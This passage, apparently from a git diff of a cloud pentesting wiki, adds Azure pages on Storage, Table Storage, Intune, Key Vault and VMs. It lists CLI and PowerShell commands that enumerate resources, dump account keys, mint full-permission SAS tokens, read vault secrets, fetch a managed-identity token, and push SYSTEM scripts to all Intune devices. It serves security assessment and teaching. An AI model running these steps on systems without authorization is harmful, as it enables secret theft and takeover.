--container-name <container name> \
|
||||
--account-name <account name>
|
||||
## Download blob
|
||||
az storage blob download \
|
||||
--account-name <account name> \
|
||||
--container-name <container name> \
|
||||
--name <blob name> \
|
||||
--file </path/to/local/file>
|
||||
## Create container policy
|
||||
az storage container policy create \
|
||||
--account-name mystorageaccount \
|
||||
--container-name mycontainer \
|
||||
--name fullaccesspolicy \
|
||||
--permissions racwdl \
|
||||
--start 2023-11-22T00:00Z \
|
||||
--expiry 2024-11-22T00:00Z
|
||||
|
||||
# QUEUE
|
||||
az storage queue list --account-name <name>
|
||||
az storage message peek --account-name <name> --queue-name <queue-name>
|
||||
|
||||
# ACCESS KEYS
|
||||
az storage account keys list --account-name <name>
|
||||
## Check key policies (expiration time?)
|
||||
az storage account show -n <name> --query "{KeyPolicy:keyPolicy}"
|
||||
## Once having the key, it's possible to use it with the argument --account-key
|
||||
## Enum blobs with account key
|
||||
az storage blob list \
|
||||
--container-name <container name> \
|
||||
--account-name <account name> \
|
||||
--account-key "ZrF40pkVKvWPUr[...]v7LZw=="
|
||||
## Download a file using an account key
|
||||
az storage blob download \
|
||||
--account-name <account name> \
|
||||
--account-key "ZrF40pkVKvWPUr[...]v7LZw==" \
|
||||
--container-name <container name> \
|
||||
--name <blob name> \
|
||||
--file </path/to/local/file>
|
||||
## Upload a file using an account key
|
||||
az storage blob upload \
|
||||
--account-name <account name> \
|
||||
--account-key "ZrF40pkVKvWPUr[...]v7LZw==" \
|
||||
--container-name <container name> \
|
||||
--file </path/to/local/file>
|
||||
|
||||
# SAS
|
||||
## List access policies
|
||||
az storage <container|queue|share|table> policy list \
|
||||
--account-name <acc name> \
|
||||
--container-name <container name>
|
||||
|
||||
## Generate SAS with all permissions using an access key
|
||||
az storage <container|queue|share|table|blob> generate-sas \
|
||||
--permissions acdefilmrtwxy \
|
||||
--expiry 2024-12-31T23:59:00Z \
|
||||
--account-name <acc-name> \
|
||||
-n <container-name>
|
||||
|
||||
## Generate SAS with all permissions using via user delegation
|
||||
az storage <container|queue|share|table|blob> generate-sas \
|
||||
--permissions acdefilmrtwxy \
|
||||
--expiry 2024-12-31T23:59:00Z \
|
||||
--account-name <acc-name> \
|
||||
--as-user --auth-mode login \
|
||||
-n <container-name>
|
||||
|
||||
## Generate account SAS
|
||||
az storage account generate-sas \
|
||||
--expiry 2024-12-31T23:59:00Z \
|
||||
--account-name <acc-name> \
|
||||
--services qt \
|
||||
--resource-types sco \
|
||||
--permissions acdfilrtuwxy
|
||||
|
||||
## Use the returned SAS key with the param --sas-token
|
||||
## e.g.
|
||||
az storage blob show \
|
||||
--account-name <account name> \
|
||||
--container-name <container name> \
|
||||
--sas-token 'se=2024-12-31T23%3A59%3A00Z&sp=racwdxyltfmei&sv=2022-11-02&sr=c&sig=ym%2Bu%2BQp5qqrPotIK5/rrm7EMMxZRwF/hMWLfK1VWy6E%3D' \
|
||||
--name 'asd.txt'
|
||||
|
||||
#Local-Users
|
||||
## List users
|
||||
az storage account local-user list \
|
||||
--account-name <storage-account-name> \
|
||||
--resource-group <resource-group-name>
|
||||
## Get user
|
||||
az storage account local-user show \
|
||||
--account-name <storage-account-name> \
|
||||
--resource-group <resource-group-name> \
|
||||
--name <local-user-name>
|
||||
|
||||
## List keys
|
||||
az storage account local-user list \
|
||||
--account-name <storage-account-name> \
|
||||
--resource-group <resource-group-name>
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# Get storage accounts
|
||||
Get-AzStorageAccount | fl
|
||||
# Get rules to access the storage account
|
||||
Get-AzStorageAccount | select -ExpandProperty NetworkRuleSet
|
||||
# Get IPs
|
||||
(Get-AzStorageAccount | select -ExpandProperty NetworkRuleSet).IPRules
|
||||
# Get containers of a storage account
|
||||
Get-AzStorageContainer -Context (Get-AzStorageAccount -name <NAME> -ResourceGroupName <NAME>).context
|
||||
# Get blobs inside container
|
||||
Get-AzStorageBlob -Container epbackup-planetary -Context (Get-AzStorageAccount -name <name> -ResourceGroupName <name>).context
|
||||
# Get a blob from a container
|
||||
Get-AzStorageBlobContent -Container <NAME> -Context (Get-AzStorageAccount -name <NAME> -ResourceGroupName <NAME>).context -Blob <blob_name> -Destination .\Desktop\filename.txt
|
||||
|
||||
# Create a Container Policy
|
||||
New-AzStorageContainerStoredAccessPolicy `
|
||||
-Context (Get-AzStorageAccount -Name <NAME> -ResourceGroupName <NAME>).Context `
|
||||
-Container <container-name> `
|
||||
-Policy <policy-name> `
|
||||
-Permission racwdl `
|
||||
-StartTime (Get-Date "2023-11-22T00:00Z") `
|
||||
-ExpiryTime (Get-Date "2024-11-22T00:00Z")
|
||||
#Get Container policy
|
||||
Get-AzStorageContainerStoredAccessPolicy `
|
||||
-Context (Get-AzStorageAccount -Name <NAME> -ResourceGroupName <NAME>).Context `
|
||||
-Container "storageaccount1994container"
|
||||
|
||||
# Queue Management
|
||||
Get-AzStorageQueue -Context (Get-AzStorageAccount -Name <NAME> -ResourceGroupName <NAME>).Context
|
||||
(Get-AzStorageQueue -Name <NAME> -Context (Get-AzStorageAccount -name <NAME> -ResourceGroupName <NAME>).Context).QueueClient.PeekMessage().Value
|
||||
|
||||
#Blob Container
|
||||
Get-AzStorageBlob -Container <container-name> -Context $(Get-AzStorageAccount -name "teststorageaccount1998az" -ResourceGroupName "testStorageGroup").Context
|
||||
Get-AzStorageBlobContent `
|
||||
-Container <container-name> `
|
||||
-Blob <blob-name> `
|
||||
-Destination <local-path> `
|
||||
-Context $(Get-AzStorageAccount -name "teststorageaccount1998az" -ResourceGroupName "testStorageGroup").Context
|
||||
|
||||
Set-AzStorageBlobContent `
|
||||
-Container <container-name> `
|
||||
-File <local-file-path> `
|
||||
-Blob <blob-name> `
|
||||
-Context $(Get-AzStorageAccount -name "teststorageaccount1998az" -ResourceGroupName "testStorageGroup").Context
|
||||
|
||||
# Shared Access Signatures (SAS)
|
||||
Get-AzStorageContainerAcl `
|
||||
-Container <container-name> `
|
||||
-Context (Get-AzStorageAccount -Name <NAME> -ResourceGroupName <NAME>).Context
|
||||
|
||||
New-AzStorageBlobSASToken `
|
||||
-Context $ctx `
|
||||
-Container <container-name> `
|
||||
-Blob <blob-name> `
|
||||
-Permission racwdl `
|
||||
-ExpiryTime (Get-Date "2024-12-31T23:59:00Z")
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### File Shares
|
||||
|
||||
{{#ref}}
|
||||
az-file-shares.md
|
||||
{{#endref}}
|
||||
|
||||
## Privilege Escalation
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-storage-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Post Exploitation
|
||||
|
||||
{{#ref}}
|
||||
../az-post-exploitation/az-blob-storage-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## Persistence
|
||||
|
||||
{{#ref}}
|
||||
../az-persistence/az-storage-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/storage/blobs/storage-blobs-introduction](https://learn.microsoft.com/en-us/azure/storage/blobs/storage-blobs-introduction)
|
||||
- [https://learn.microsoft.com/en-us/azure/storage/common/storage-sas-overview](https://learn.microsoft.com/en-us/azure/storage/common/storage-sas-overview)
|
||||
- [https://learn.microsoft.com/en-us/azure/storage/blobs/secure-file-transfer-protocol-support](https://learn.microsoft.com/en-us/azure/storage/blobs/secure-file-transfer-protocol-support)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,109 @@
|
||||
# Az - Table Storage
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Azure Table Storage** is a NoSQL key-value store designed for storing large volumes of structured, non-relational data. It offers high availability, low latency, and scalability to handle large datasets efficiently. Data is organized into tables, with each entity identified by a partition key and row key, enabling fast lookups. It supports features like encryption at rest, role-based access control, and shared access signatures for secure, managed storage suitable for a wide range of applications.
|
||||
|
||||
There **isn't built-in backup mechanism** for table storage.
|
||||
|
||||
### Keys
|
||||
|
||||
#### **PartitionKey**
|
||||
|
||||
- The **PartitionKey groups entities into logical partitions**. Entities with the same PartitionKey are stored together, which improves query performance and scalability.
|
||||
- Example: In a table storing employee data, `PartitionKey` might represent a department, e.g., `"HR"` or `"IT"`.
|
||||
|
||||
#### **RowKey**
|
||||
|
||||
- The **RowKey is the unique identifier** for an entity within a partition. When combined with the PartitionKey, it ensures that each entity in the table has a globally unique identifier.
|
||||
- Example: For the `"HR"` partition, `RowKey` might be an employee ID, e.g., `"12345"`.
|
||||
|
||||
#### **Other Properties (Custom Properties)**
|
||||
|
||||
- Besides the PartitionKey and RowKey, an entity can have additional **custom properties to store data**. These are user-defined and act like columns in a traditional database.
|
||||
- Properties are stored as **key-value pairs**.
|
||||
- Example: `Name`, `Age`, `Title` could be custom properties for an employee.
|
||||
|
||||
## Enumeration
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="az cli"}}
|
||||
|
||||
```bash
|
||||
# Get storage accounts
|
||||
az storage account list
|
||||
|
||||
# List tables
|
||||
az storage table list --account-name <name>
|
||||
|
||||
# Read table
|
||||
az storage entity query \
|
||||
--account-name <name> \
|
||||
--table-name <t-name> \
|
||||
--top 10
|
||||
|
||||
# Write table
|
||||
az storage entity insert \
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--table-name <TABLE_NAME> \
|
||||
--entity PartitionKey=<PARTITION_KEY> RowKey=<ROW_KEY> <PROPERTY_KEY>=<PROPERTY_VALUE>
|
||||
|
||||
# Write example
|
||||
az storage entity insert \
|
||||
--account-name mystorageaccount \
|
||||
--table-name mytable \
|
||||
--entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager"
|
||||
|
||||
# Update row
|
||||
az storage entity merge \
|
||||
--account-name mystorageaccount \
|
||||
--table-name mytable \
|
||||
--entity PartitionKey=pk1 RowKey=rk1 Age=31
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
{{#tab name="PowerShell"}}
|
||||
|
||||
```powershell
|
||||
# Get storage accounts
|
||||
Get-AzStorageAccount
|
||||
|
||||
# List tables
|
||||
Get-AzStorageTable -Context (Get-AzStorageAccount -Name <mystorageaccount> -ResourceGroupName <ResourceGroupName>).Context
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
> [!NOTE]
|
||||
> By default `az` cli will use an account key to sign a key and perform the action. To use the Entra ID principal privileges use the parameters `--auth-mode login`.
|
||||
|
||||
> [!TIP]
|
||||
> Use the param `--account-key` to indicate the account key to use\
|
||||
> Use the param `--sas-token` with the SAS token to access via a SAS token
|
||||
|
||||
## Privilege Escalation
|
||||
|
||||
Same as storage privesc:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-storage-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Post Exploitation
|
||||
|
||||
{{#ref}}
|
||||
../az-post-exploitation/az-table-storage-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## Persistence
|
||||
|
||||
Same as storage persistence:
|
||||
|
||||
{{#ref}}
|
||||
../az-persistence/az-storage-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,31 @@
|
||||
# Az - Intune
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
Microsoft Intune is designed to streamline the process of **app and device management**. Its capabilities extend across a diverse range of devices, encompassing mobile devices, desktop computers, and virtual endpoints. The core functionality of Intune revolves around **managing user access and simplifying the administration of applications** and devices within an organization's network.
|
||||
|
||||
## Cloud -> On-Prem
|
||||
|
||||
A user with **Global Administrator** or **Intune Administrator** role can execute **PowerShell** scripts on any **enrolled Windows** device.\
|
||||
The **script** runs with **privileges** of **SYSTEM** on the device only once if it doesn't change, and from Intune it's **not possible to see the output** of the script.
|
||||
|
||||
```powershell
|
||||
Get-AzureADGroup -Filter "DisplayName eq 'Intune Administrators'"
|
||||
```
|
||||
|
||||
1. Login into [https://endpoint.microsoft.com/#home](https://endpoint.microsoft.com/#home) or use Pass-The-PRT
|
||||
2. Go to **Devices** -> **All Devices** to check devices enrolled to Intune
|
||||
3. Go to **Scripts** and click on **Add** for Windows 10.
|
||||
4. Add a **Powershell script**
|
||||
- .png>)
|
||||
5. Specify **Add all users** and **Add all devices** in the **Assignments** page.
|
||||
|
||||
The execution of the script can take up to **one hour**.
|
||||
|
||||
## References
|
||||
|
||||
- [https://learn.microsoft.com/en-us/mem/intune/fundamentals/what-is-intune](https://learn.microsoft.com/en-us/mem/intune/fundamentals/what-is-intune)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,184 @@
|
||||
# Az - Key Vault
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Azure Key Vault** is a cloud service provided by Microsoft Azure for securely storing and managing sensitive information such as **secrets, keys, certificates, and passwords**. It acts as a centralized repository, offering secure access and fine-grained control using Azure Active Directory (Azure AD). From a security perspective, Key Vault provides **hardware security module (HSM) protection** for cryptographic keys, ensures secrets are encrypted both at rest and in transit, and offers robust access management through **role-based access control (RBAC)** and policies. It also features **audit logging**, integration with Azure Monitor for tracking access, and automated key rotation to reduce risk from prolonged key exposure.
|
||||
|
||||
See [Azure Key Vault REST API overview](https://learn.microsoft.com/en-us/azure/key-vault/general/about-keys-secrets-certificates) for complete details.
|
||||
|
||||
According to the [**docs**](https://learn.microsoft.com/en-us/azure/key-vault/general/basic-concepts), Vaults support storing software and HSM-backed keys, secrets, and certificates. Managed HSM pools only support HSM-backed keys.
|
||||
|
||||
The **URL format** for **vaults** is `https://{vault-name}.vault.azure.net/{object-type}/{object-name}/{object-version}` and for managed HSM pools it's: `https://{hsm-name}.managedhsm.azure.net/{object-type}/{object-name}/{object-version}`
|
||||
|
||||
Where:
|
||||
|
||||
- `vault-name` is the globally **unique** name of the key vault
|
||||
- `object-type` can be "keys", "secrets" or "certificates"
|
||||
- `object-name` is **unique** name of the object within the key vault
|
||||
- `object-version` is system generated and optionally used to address a **unique version of an object**.
|
||||
|
||||
In order to access to the secrets stored in the vault it's possible to select between 2 permissions models when creating the vault:
|
||||
|
||||
- **Vault access policy**
|
||||
- **Azure RBAC** (most common and recommended)
|
||||
- You can find all the granular permissions supported in [https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/security#microsoftkeyvault](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/security#microsoftkeyvault)
|
||||
|
||||
### Access Control <a href="#access-control" id="access-control"></a>
|
||||
|
||||
Access to a Key Vault resource is controlled by two planes:
|
||||
|
||||
- The **management plane**, whose target is [management.azure.com](http://management.azure.com/).
|
||||
- It's used to manage the key vault and **access policies**. Only Azure role based access control (**RBAC**) is supported.
|
||||
- The **data plane**, whose target is **`<vault-name>.vault.azure.com`**.
|
||||
- It's used to manage and access the **data** (keys, secrets and certificates) **in the key vault**. This supports **key vault access policies** or Azure **RBAC**.
|
||||
|
||||
A role like **Contributor** that has permissions in the management place to manage access policies can get access to the secrets by modifying the access policies.
|
||||
|
||||
### Key Vault RBAC Built-In Roles <a href="#rbac-built-in-roles" id="rbac-built-in-roles"></a>
|
||||
|
||||
<figure><img src="../../../images/image (27).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Network Access
|
||||
|
||||
In Azure Key Vault, **firewall** rules can be set up to **allow data plane operations only from specified virtual networks or IPv4 address ranges**. This restriction also affects access through the Azure administration portal; users will not be able to list keys, secrets, or certificates in a key vault if their login IP address is not within the authorized range.
|
||||
|
||||
For analyzing and managing these settings, you can use the **Azure CLI**:
|
||||
|
||||
```bash
|
||||
az keyvault show --name name-vault --query networkAcls
|
||||
```
|
||||
|
||||
The previous command will display the f**irewall settings of `name-vault`**, including enabled IP ranges and policies for denied traffic.
|
||||
|
||||
Moreover, it's possible to create a **private endpoint** to allow a private connection to a vault.
|
||||
|
||||
### Deletion Protection
|
||||
|
||||
When a key vault is created the minimum number of days to allow for deletion is 7. Which means that whenever you try to delete that key vault it'll need **at least 7 days to be deleted**.
|
||||
|
||||
However, it's possible to create a vault with **purge protection disabled** which allow key vault and objects to be purged during retention period. Although, once this protection is enabled for a vault it cannot be disabled.
|
||||
|
||||
## Enumeration
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az" }}
|
||||
|
||||
```bash
|
||||
# List all Key Vaults in the subscription
|
||||
az keyvault list
|
||||
# List Key Vaults in a specific Resource Group
|
||||
az keyvault list --resource-group <ResourceGroupName>
|
||||
# Show details of a specific Key Vault
|
||||
az keyvault show --name <KeyVaultName> # If accessPolicies, you can see them here
|
||||
# List all keys in a Key Vault
|
||||
az keyvault key list --vault-name <KeyVaultName>
|
||||
# List all secrets in a Key Vault
|
||||
az keyvault secret list --vault-name <KeyVaultName>
|
||||
# Get versions of a secret
|
||||
az keyvault secret list-versions --vault-name <KeyVaultName> --name <SecretName>
|
||||
# List all certificates in a Key Vault
|
||||
az keyvault certificate list --vault-name <KeyVaultName>
|
||||
# List all deleted Key Vaults in the subscription
|
||||
az keyvault list-deleted
|
||||
# Get properties of a deleted Key Vault
|
||||
az keyvault show-deleted --name <KeyVaultName>
|
||||
# Get assigned roles
|
||||
az role assignment list --include-inherited --scope "/subscriptions/<subscription-uuid>/resourceGroups/<resource-group>/providers/Microsoft.KeyVault/vaults/<vault-name>"
|
||||
|
||||
# Get secret value
|
||||
az keyvault secret show --vault-name <KeyVaultName> --name <SecretName>
|
||||
# Get old versions secret value
|
||||
az keyvault secret show --id https://<KeyVaultName>.vault.azure.net/secrets/<KeyVaultName>/<idOldVersion>
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az Powershell" }}
|
||||
|
||||
```powershell
|
||||
# Get keyvault token
|
||||
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
|
||||
|
||||
# Connect with PS AzureAD
|
||||
## $token from management API
|
||||
Connect-AzAccount -AccessToken $token -AccountId 1937ea5938eb-10eb-a365-10abede52387 -KeyVaultAccessToken $keyvaulttoken
|
||||
|
||||
# Get details of a specific Key Vault
|
||||
Get-AzKeyVault -VaultName <KeyVaultName>
|
||||
# List all keys in a Key Vault
|
||||
Get-AzKeyVaultKey -VaultName <KeyVaultName>
|
||||
# List all secrets in a Key Vault
|
||||
Get-AzKeyVaultSecret -VaultName <KeyVaultName>
|
||||
# List all certificates in a Key Vault
|
||||
Get-AzKeyVaultCertificate -VaultName <KeyVaultName>
|
||||
# List all deleted Key Vaults in the subscription
|
||||
Get-AzKeyVault -InRemovedState
|
||||
# Get properties of a deleted Key Vault
|
||||
Get-AzKeyVault -VaultName <KeyVaultName> -InRemovedState
|
||||
# Get secret values
|
||||
Get-AzKeyVaultSecret -VaultName <vault_name> -Name <secret_name> -AsPlainText
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="az script" }}
|
||||
|
||||
```bash
|
||||
#!/bin/bash
|
||||
|
||||
# Dump all keyvaults from the subscription
|
||||
|
||||
# Define Azure subscription ID
|
||||
AZ_SUBSCRIPTION_ID="your-subscription-id"
|
||||
|
||||
# Specify the filename for output
|
||||
CSV_OUTPUT="vault-names-list.csv"
|
||||
|
||||
# Login to Azure account
|
||||
az login
|
||||
|
||||
# Select the desired subscription
|
||||
az account set --subscription $AZ_SUBSCRIPTION_ID
|
||||
|
||||
# Retrieve all resource groups within the subscription
|
||||
AZ_RESOURCE_GROUPS=$(az group list --query "[].name" -o tsv)
|
||||
|
||||
# Initialize the CSV file with headers
|
||||
echo "Vault Name,Associated Resource Group" > $CSV_OUTPUT
|
||||
|
||||
# Iterate over each resource group
|
||||
for GROUP in $AZ_RESOURCE_GROUPS
|
||||
do
|
||||
# Fetch key vaults within the current resource group
|
||||
VAULT_LIST=$(az keyvault list --resource-group $GROUP --query "[].name" -o tsv)
|
||||
|
||||
# Process each key vault
|
||||
for VAULT in $VAULT_LIST
|
||||
do
|
||||
# Extract the key vault's name
|
||||
VAULT_NAME=$(az keyvault show --name $VAULT --resource-group $GROUP --query "name" -o tsv)
|
||||
|
||||
# Append the key vault name and its resource group to the file
|
||||
echo "$VAULT_NAME,$GROUP" >> $CSV_OUTPUT
|
||||
done
|
||||
done
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Privilege Escalation
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-key-vault-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Post Exploitation
|
||||
|
||||
{{#ref}}
|
||||
../az-post-exploitation/az-key-vault-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,861 @@
|
||||
# Az - Virtual Machines & Network
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Networking Basic Info
|
||||
|
||||
Azure networks contains **different entities and ways to configure it.** You can find a brief **descriptions,** **examples** and **enumeration** commands of the different Azure network entities in:
|
||||
|
||||
{{#ref}}
|
||||
az-azure-network.md
|
||||
{{#endref}}
|
||||
|
||||
## VMs Basic information
|
||||
|
||||
Azure Virtual Machines (VMs) are flexible, on-demand **cloud-based servers that let you run Windows or Linux operating systems**. They allow you to deploy applications and workloads without managing physical hardware. Azure VMs can be configured with various CPU, memory, and storage options to meet specific needs and integrate with Azure services like virtual networks, storage, and security tools.
|
||||
|
||||
### Security Configurations
|
||||
|
||||
- **Availability Zones**: Availability zones are distinct groups of datacenters within a specific Azure region which are physically separated to minimize the risk of multiple zones being affected by local outages or disasters.
|
||||
- **Security Type**:
|
||||
- **Standard Security**: This is the default security type that does not require any specific configuration.
|
||||
- **Trusted Launch**: This security type enhances protection against boot kits and kernel-level malware by using Secure Boot and Virtual Trusted Platform Module (vTPM).
|
||||
- **Confidential VMs**: On top of a trusted launch, it offers hardware-based isolation between the VM, hypervisor and host management, improves the disk encryption and [**more**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**.**
|
||||
- **Authentication**: By default a new **SSH key is generated**, although it's possible to use a public key or use a previous key and the username by default is **azureuser**. It's also possible to configure to use a **password.**
|
||||
- **VM disk encryption:** The disk is encrypted at rest by default using a platform managed key.
|
||||
- It's also possible to enable **Encryption at host**, where the data will be encrypted in the host before sending it to the storage service, ensuring an end-to-end encryption between the host and the storage service ([**docs**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data)).
|
||||
- **NIC network security group**:
|
||||
- **None**: Basically opens every port
|
||||
- **Basic**: Allows to easily open the inbound ports HTTP (80), HTTPS (443), SSH (22), RDP (3389)
|
||||
- **Advanced**: Select a security group
|
||||
- **Backup**: It's possible to enable **Standard** backup (one a day) and **Enhanced** (multiple per day)
|
||||
- **Patch orchestration options**: This enable to automatically apply patches in the VMs according to the selected policy as described in the [**docs**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching).
|
||||
- **Alerts**: It's possible to automatically get alerts by email or mobile app when something happen in the VM. Default rules:
|
||||
- Percentage CPU is greater than 80%
|
||||
- Available Memory Bytes is less than 1GB
|
||||
- Data Disks IOPS Consumed Percentage is greater than 95%
|
||||
- OS IOPS Consumed Percentage is greater than 95%
|
||||
- Network in Total is greater than 500GB
|
||||
- Network Out Total is greater than 200GB
|
||||
- VmAvailabilityMetric is less than 1
|
||||
- **Heath monitor**: By default check protocol HTTP in port 80
|
||||
- **Locks**: It allows to lock a VM so it can only be read (**ReadOnly** lock) or it can be read and updated but not deleted (**CanNotDelete** lock).
|
||||
- Most VM related resources **also support locks** like disks, snapshots...
|
||||
- Locks can also be applied at **resource group and subscription levels**
|
||||
|
||||
## Disks & snapshots
|
||||
|
||||
- It's possible to **enable to attach a disk to 2 or more VMs**
|
||||
- By default every disk is **encrypted** with a platform key.
|
||||
- Same in snapshots
|
||||
- By default it's possible to **share the disk from all networks**, but it can also be **restricted** to only certain **private acces**s or to **completely disable** public and private access.
|
||||
- Same in snapshots
|
||||
- It's possible to **generate a SAS URI** (of max 60days) to **export the disk**, which can be configured to require authentication or not
|
||||
- Same in snapshots
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="az cli"}}
|
||||
|
||||
```bash
|
||||
# List all disks
|
||||
az disk list --output table
|
||||
|
||||
# Get info about a disk
|
||||
az disk show --name <disk-name> --resource-group <rsc-group>
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
{{#tab name="PowerShell"}}
|
||||
|
||||
```powershell
|
||||
# List all disks
|
||||
Get-AzDisk
|
||||
|
||||
# Get info about a disk
|
||||
Get-AzDisk -Name <DiskName> -ResourceGroupName <ResourceGroupName>
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
## Images, Gallery Images & Restore points
|
||||
|
||||
A **VM image** is a template that contains the operating system, application settings and filesystem needed to **create a new virtual machine (VM)**. The difference between an image and a disk snapshot is that a disk snapshot is a read-only, point-in-time copy of a single managed disk, used primarily for backup or troubleshooting, while an image can contain **multiple disks and is designed to serve as a template for creating new VMs**.\
|
||||
Images can be managed in the **Images section** of Azure or inside **Azure compute galleries** which allows to generate **versions** and **share** the image cross-tenant of even make it public.
|
||||
|
||||
A **restore point** stores the VM configuration and **point-in-time** application-consistent **snapshots of all the managed disks** attached to the VM. It's related to the VM and its purpose is to be able to restore that VM to how it was in that specific point in it.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="az cli"}}
|
||||
|
||||
```bash
|
||||
# Shared Image Galleries | Compute Galleries
|
||||
## List all galleries and get info about one
|
||||
az sig list --output table
|
||||
az sig show --gallery-name <name> --resource-group <rsc-group>
|
||||
|
||||
## List all community galleries
|
||||
az sig list-community --output table
|
||||
|
||||
## List galleries shaerd with me
|
||||
az sig list-shared --location <location> --output table
|
||||
|
||||
## List all image definitions in a gallery and get info about one
|
||||
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
|
||||
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>
|
||||
|
||||
## List all the versions of an image definition in a gallery
|
||||
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table
|
||||
|
||||
## List all VM applications inside a gallery
|
||||
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table
|
||||
|
||||
# Images
|
||||
# List all managed images in your subscription
|
||||
az image list --output table
|
||||
|
||||
# Restore points
|
||||
## List all restore points and get info about 1
|
||||
az restore-point collection list-all --output table
|
||||
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
{{#tab name="PowerShell"}}
|
||||
|
||||
```powershell
|
||||
## List all galleries and get info about one
|
||||
Get-AzGallery
|
||||
Get-AzGallery -Name <GalleryName> -ResourceGroupName <ResourceGroupName>
|
||||
|
||||
## List all image definitions in a gallery and get info about one
|
||||
Get-AzGalleryImageDefinition -GalleryName <GalleryName> -ResourceGroupName <ResourceGroupName>
|
||||
Get-AzGalleryImageDefinition -GalleryName <GalleryName> -ResourceGroupName <ResourceGroupName> -Name <ImageDefinitionName>
|
||||
|
||||
## List all the versions of an image definition in a gallery
|
||||
Get-AzGalleryImageVersion -GalleryImageDefinitionName <ImageName> -GalleryName <GalleryName> -ResourceGroupName <ResourceGroupName>
|
||||
|
||||
## List all VM applications inside a gallery
|
||||
Get-AzGalleryApplication -GalleryName <GalleryName> -ResourceGroupName <ResourceGroupName>
|
||||
|
||||
# Images
|
||||
# List all managed images in your subscription
|
||||
Get-AzImage -Name <ResourceName> -ResourceGroupName <ResourceGroupName>
|
||||
|
||||
# Restore points
|
||||
## List all restore points and get info about 1
|
||||
Get-AzRestorePointCollection -Name <CollectionName> -ResourceGroupName <ResourceGroupName>
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
## Azure Site Recovery
|
||||
|
||||
From the [**docs**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview): Site Recovery helps ensure business continuity by keeping business apps and workloads running during outages. Site Recovery **replicates workloads** running on physical and virtual machines (VMs) from a primary site to a secondary location. When an outage occurs at your primary site, you fail over to a secondary location, and access apps from there. After the primary location is running again, you can fail back to it.
|
||||
|
||||
## Azure Bastion
|
||||
|
||||
Azure Bastion enables secure and seamless **Remote Desktop Protocol (RDP)** and **Secure Shell (SSH)** access to your virtual machines (VMs) directly through the Azure Portal or via a jump box. By **eliminating the need for public IP addresses** on your VMs.
|
||||
|
||||
The Bastion deploys a subnet called **`AzureBastionSubnet`** with a `/26` netmask in the VNet it needs to work on. Then, it allows to **connect to internal VMs through the browser** using `RDP` and `SSH` avoiding exposing ports of the VMs to the Internet. It can also work as a **jump host**.
|
||||
|
||||
To list all Azure Bastion Hosts in your subscription and connect to VMs through them, you can use the following commands:
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="az cli"}}
|
||||
|
||||
```bash
|
||||
# List bastions
|
||||
az network bastion list -o table
|
||||
|
||||
# Connect via SSH through bastion
|
||||
az network bastion ssh \
|
||||
--name MyBastion \
|
||||
--resource-group MyResourceGroup \
|
||||
